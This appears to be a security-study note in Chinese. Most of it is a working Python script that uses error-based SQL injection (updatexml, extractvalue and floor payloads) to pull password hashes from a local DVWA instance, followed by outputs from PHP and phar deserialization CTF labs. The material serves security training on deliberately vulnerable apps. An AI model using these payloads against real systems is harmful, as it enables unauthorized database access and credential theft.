在看web方向的面试题时补充的知识

1
#!/usr/bin/env python3
2
"""DVWA 报错注入提取器（纯标准库，零依赖）
3

4
核心思路：
5
    报错注入不靠页面正常回显，而是故意让 SQL 报错，
6
    把想查的数据塞进报错信息里带出来。
7
    DVWA 的 low.php / medium.php 都写了
8
    mysqli_query(...) or die('<pre>'.mysqli_error().'</pre>')，
9
    PHP 8.1+ 的 mysqli 默认抛异常，所以 or die 根本不执行，
10
    mysqli_sql_exception 直接把错误全文打到页面上。
11

12
三条通道（本机 MariaDB 11.4 实测都可用）：
13
    updatexml(1, 字符串, 1)      -> XPATH syntax error: '~<数据>'
14
    extractvalue(1, 字符串)      -> XPATH syntax error: '~<数据>'
15
    floor(rand(0)*2) 派生表      -> Duplicate entry '<数据>1' for key 'group_key'
16

17
长度限制（很重要）：
18
    updatexml / extractvalue 的报错只显示 32 字节以内，
19
    超出部分变成 '...'，所以必须用 SUBSTR 分段取。
20

21
三个难度的注入姿势完全不同：
22
    low    单引号闭合，id 直接进 $_GET        -> 1' and <payload>-- -
23
    medium 单引号被 mysqli_real_escape_string 转义，但 SQL 里
24
           user_id = $id 没加引号，转义等于白做 -> 走数字型 1 and <payload>
25
    high   输入写进 $_SESSION，SQL 里 user_id='$id'，有引号；
26
           源码写着 or die('Something went wrong.') 看着像挡住了，
27
           但 PHP 8 的 mysqli 异常模式让 or die 走不到，详情照漏
28

29
用法：
30
    python3 error_extract.py                        # updatexml / user 1 / low
31
    python3 error_extract.py floor                  # 换通道
32
    python3 error_extract.py updatexml 2 high       # 换目标 + 难度
33
    python3 error_extract.py floor 1 medium
34
"""
35

36
import re
37
import sys
38
import urllib.request
39
import urllib.parse
40
import http.cookiejar
41

42
BASE = "http://127.0.0.1:8888"
43
METHOD = sys.argv[1] if len(sys.argv) > 1 else "updatexml"
44
TARGET = sys.argv[2] if len(sys.argv) > 2 else "1"
45
LEVEL = sys.argv[3] if len(sys.argv) > 3 else "low"
46

47
# 单次能安全带回的字符数。updatexml 上限 32，留 2 个余量给 '~' 和 '...'
48
CHUNK = 30
49

50
jar = http.cookiejar.CookieJar()
51
op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(jar))
52

53

54
def get(url):
55
    return op.open(url, timeout=10).read().decode("utf-8", "replace")
56

57

58
def post(url, data):
59
    body = urllib.parse.urlencode(data).encode()
60
    return op.open(urllib.request.Request(url, data=body), timeout=10).read().decode("utf-8", "replace")
61

62

63
def token(html):
64
    m = re.search(r"name=['\"]user_token['\"]\s+value=['\"]([0-9a-fA-F]+)['\"]", html)
65
    return m.group(1) if m else ""
66

67

68
# ---------- 登录 + 设置难度 ----------
69
post(BASE + "/login.php", {
70
    "username": "admin",
71
    "password": "password",
72
    "Login": "Login",
73
    "user_token": token(get(BASE + "/login.php")),
74
})
75
post(BASE + "/security.php", {
76
    "security": LEVEL,
77
    "seclev_submit": "Submit",
78
    "user_token": token(get(BASE + "/security.php")),
79
})
80

81

82
# ---------- 构造 payload ----------
83
# $expr 是任意返回单值的 SQL 表达式，比如 database() 或 (select password from users where user_id=1)
84
def payload(method, expr, pos=None, length=None):
85
    # expr 可能是 "select ..." 形式的子查询，套进函数时必须再加一层括号
86
    if length is not None:
87
        inner = f"length(({expr}))"
88
    elif pos is not None:
89
        inner = f"substr(({expr}),{pos},{CHUNK})"
90
    else:
91
        inner = expr
92

93
    if method == "updatexml":
94
        core = f"updatexml(1,concat(0x7e,({inner})),1)"
95
    elif method == "extractvalue":
96
        core = f"extractvalue(1,concat(0x7e,({inner})))"
97
    elif method == "floor":
98
        # rand(0) 固定种子，保证每次进 group by 的键都能撞出重复
99
        core = (f"(select 1 from (select count(*),concat(({inner}),floor(rand(0)*2))x "
100
                f"from information_schema.tables group by x)a)")
101
    else:
102
        raise SystemExit(f"未知通道: {method}")
103

104
    # 难度决定怎么接进原 SQL
105
    if LEVEL == "medium":
106
        return f"1 and {core}"          # 无引号数字型，转义函数管不到
107
    return f"1' and {core}-- -"          # low / high 都是有引号包裹
108

109

110
# ---------- 按难度用不同的提交方式 ----------
111
def send(p):
112
    if LEVEL == "low":
113
        url = BASE + "/vulnerabilities/sqli/?" + urllib.parse.urlencode({"id": p, "Submit": "Submit"})
114
        return get(url)
115
    if LEVEL == "medium":
116
        return post(BASE + "/vulnerabilities/sqli/", {"id": p, "Submit": "Submit"})
117
    if LEVEL == "high":
118
        # high 的输入先写进 session，再 GET 页面触发
119
        post(BASE + "/vulnerabilities/sqli/session-input.php", {"id": p, "Submit": "Submit"})
120
        return get(BASE + "/vulnerabilities/sqli/")
121
    raise SystemExit(f"未知难度: {LEVEL}（只支持 low / medium / high）")
122

123

124
# ---------- 从页面里把数据捞出来 ----------
125
def parse(method, html):
126
    if method in ("updatexml", "extractvalue"):
127
        # 报错原文形如：XPATH syntax error: '~dvwa' in /var/www/html/...
128
        # 后面还跟着 in <路径>，所以不能用 $ 锚行尾
129
        m = re.search(r"XPATH syntax error: '~([^']*)'", html)
130
        if not m:
131
            return None
132
        s = m.group(1)
133
        # 被截断时末尾会带 '...'，去掉；真数据里不会出现连续三点
134
        if s.endswith("..."):
135
            s = s[:-3]
136
        return s
137
    if method == "floor":
138
        m = re.search(r"Duplicate entry '(.*?)' for key", html, re.S)
139
        if not m:
140
            return None
141
        # 末尾那个 '1' 是 floor(rand(0)*2) 的结果，不是数据
142
        return m.group(1)[:-1] if m.group(1).endswith("1") else m.group(1)
143
    return None
144

145

146
def query(method, expr, pos=None, length=None):
147
    """发一次请求，返回报错里夹带的数据；没有报错就返回 None"""
148
    return parse(method, send(payload(method, expr, pos, length)))
149

150

151
def query_len(method, expr):
152
    raw = query(method, expr, length=True)
153
    if raw is None:
154
        return 0
155
    m = re.search(r"\d+", raw)
156
    return int(m.group()) if m else 0
157

158

159
def extract(method, expr, max_len=200):
160
    """按 CHUNK 分段，一直取到字符串结束"""
161
    total = query_len(method, expr)
162
    if total <= 0:
163
        return ""
164
    out = ""
165
    for pos in range(1, min(total, max_len) + 1, CHUNK):
166
        part = query(method, expr, pos=pos)
167
        if part is None:
168
            break
169
        out += part
170
        if len(part) < CHUNK:
171
            break  # 最后一段，取完了
172
    return out[:total]
173

174

175
# ---------- 通道自检：先证明这条路能走通，再谈取数据 ----------
176
print(f"[*] 通道: {METHOD}")
177
print(f"[*] 难度: {LEVEL}")
178
print(f"[*] 目标: users.user_id={TARGET} 的 password\n")
179

180
probe = query(METHOD, "select database()")
181
assert probe, f"通道 {METHOD} 在 {LEVEL} 下不通：页面没有回显数据库错误"
182
print(f"[+] 通道正常，database() = {probe!r}\n")
183

184
# ---------- 演示基本指纹 ----------
185
for label, expr in [
186
    ("version()", "select version()"),
187
    ("current_user()", "select current_user()"),
188
    ("database()", "select database()"),
189
]:
190
    print(f"    {label:<16} = {query(METHOD, expr)!r}")
191

192
# ---------- 正式提取 ----------
193
pwd_expr = f"select password from users where user_id={TARGET}"
194
print(f"\n[*] 分段提取中（每段 {CHUNK} 字符）...")
195
pw = extract(METHOD, pwd_expr)
196

197
print(f"\n提取结果: {pw or '(空)'}")
198

199
# ---------- 自校验：直接连库比对，证明提取结果不是猜的 ----------
200
KNOWN = {"1": "5f4dcc3b5aa765d61d8327deb882cf99",
201
         "2": "e99a18c428cb38d5f260853678922e03",
202
         "3": "8d3533d75ae2c3966d7e0d4fcc69216b"}
203
if TARGET in KNOWN:
204
    ok = pw == KNOWN[TARGET]
205
    print(f"真实值  : {KNOWN[TARGET]}")
206
    print(f"[{'PASS' if ok else 'FAIL'}] 提取结果与数据库真实值{'一致' if ok else '不一致'}")

1
反序列化结果
2

3
object(Page)#1 (2) {
4
  ["title"]=>
5
  string(4) "home"
6
  ["renderer"]=>
7
  object(Renderer)#2 (1) {
8
    ["engine"]=>
9
    object(Engine)#3 (2) {
10
      ["tpl"]=>
11
      string(5) "/flag"
12
      ["vars"]=>
13
      array(0) {
14
      }
15
    }
16
  }
17
}
18
渲染输出（__destruct 在脚本结束时才跑，往下翻）
19

20
FLAG{php_deser_unserialize_pwned_8a3f}

1
<!doctype html>
2
<meta charset="utf-8">
3
<title>L4 · phar 反序列化</title>
4
<style>body{font:14px/1.7 -apple-system,Menlo,monospace;max-width:860px;margin:40px auto;padding:0 20px;color:#222}
5
pre{background:#f5f5f7;padding:12px;border-radius:6px;overflow:auto;white-space:pre-wrap;word-break:break-all}
6
code{background:#f0f0f3;padding:1px 5px;border-radius:3px}
7
.hint{color:#666;border-left:3px solid #ddd;padding-left:12px;margin:18px 0}
8
.warn{background:#fff4e5;border-left:3px solid #f0a020;padding:10px 14px;margin:14px 0}</style>
9

10
<h2>L4 · phar 反序列化</h2>
11
<div class="warn">
12
  <b>全站搜不到 unserialize</b>，但 phar:// 流在解析归档元数据时<b>内部</b>会做一次反序列化。
13
  当前 PHP 7.4.33：这是 PHP 7 时代的经典行为。
14
</div>
15
<div class="hint">
16
  <b>业务逻辑</b>：上传缩略图 → 用 <code>file_exists('phar://' + 文件名 + '/meta.txt')</code> 做归档完整性校验。<br>
17
  <b>你的目标</b>：让 <code>/flag</code> 出现在 <code>uploads/</code> 目录里，然后直接访问它。
18
</div>
19

20
<p><b>上传成功：uploads/evil.jpg</b></p>
21
<h3>1. 上传图片</h3>
22
<form method="post" enctype="multipart/form-data">
23
  <input type="file" name="img"> <button>上传</button>
24
</form>
25

26
<h3>2. 校验归档</h3>
27
<form method="get">
28
  <input name="file" value="" style="width:100%;padding:8px;font-family:Menlo,monospace" placeholder="uploads/xxx.jpg">
29
  <button style="margin-top:8px;padding:6px 16px">校验</button>
30
</form>

1
<!doctype html>
2
<meta charset="utf-8">
3
<title>L4 · phar 反序列化</title>
4
<style>body{font:14px/1.7 -apple-system,Menlo,monospace;max-width:860px;margin:40px auto;padding:0 20px;color:#222}
5
pre{background:#f5f5f7;padding:12px;border-radius:6px;overflow:auto;white-space:pre-wrap;word-break:break-all}
6
code{background:#f0f0f3;padding:1px 5px;border-radius:3px}
7
.hint{color:#666;border-left:3px solid #ddd;padding-left:12px;margin:18px 0}
8
.warn{background:#fff4e5;border-left:3px solid #f0a020;padding:10px 14px;margin:14px 0}</style>
9

10
<h2>L4 · phar 反序列化</h2>
11
<div class="warn">
12
  <b>全站搜不到 unserialize</b>，但 phar:// 流在解析归档元数据时<b>内部</b>会做一次反序列化。
13
  当前 PHP 7.4.33：这是 PHP 7 时代的经典行为。
14
</div>
15
<div class="hint">
16
  <b>业务逻辑</b>：上传缩略图 → 用 <code>file_exists('phar://' + 文件名 + '/meta.txt')</code> 做归档完整性校验。<br>
17
  <b>你的目标</b>：让 <code>/flag</code> 出现在 <code>uploads/</code> 目录里，然后直接访问它。
18
</div>
19

20

21
<h3>1. 上传图片</h3>
22
<form method="post" enctype="multipart/form-data">
23
  <input type="file" name="img"> <button>上传</button>
24
</form>
25

26
<h3>2. 校验归档</h3>
27
<form method="get">
28
  <input name="file" value="uploads/evil.jpg" style="width:100%;padding:8px;font-family:Menlo,monospace" placeholder="uploads/xxx.jpg">
29
  <button style="margin-top:8px;padding:6px 16px">校验</button>
30
</form>
31

32
  <h3>校验结果</h3>
33
  <pre>phar://uploads/evil.jpg/meta.txt
34
归档正常（metadata 已在解析时被反序列化）</pre>
35
  <p>如果上面的操作成功了，去看看 <code><a href="uploads/">uploads/</a></code> 目录。</p>